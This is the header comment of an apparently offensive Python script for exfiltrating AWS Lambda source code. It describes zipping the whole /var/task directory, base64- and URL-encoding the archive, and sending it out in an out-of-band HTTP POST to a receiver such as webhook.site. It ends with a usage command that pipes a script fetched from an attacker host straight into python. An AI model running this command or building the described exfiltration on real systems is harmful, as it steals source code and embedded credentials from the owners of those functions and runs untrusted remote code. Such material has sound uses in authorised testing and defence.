# This script can be used to exfiltrate all of the AWS Lambda source files from
|
|
# $LAMBDA_TASK_ROOT (typically: /var/task) in a form of out-of-band http/s POST
|
|
# request. Such request will contain an `exfil` variable with urlencode(base64(zip_file)) in it.
|
|
# This zip file then will contain all of the $LAMBDA_TASK_ROOT (/var/task) directory contents.
|
|
#
|
|
# Can be used with webhook.site, using similar OS command as following:
|
|
#
|
|
# $ curl -s https://<ATTACKER>/exfiltrateLambdaTasksDirectory.py | python
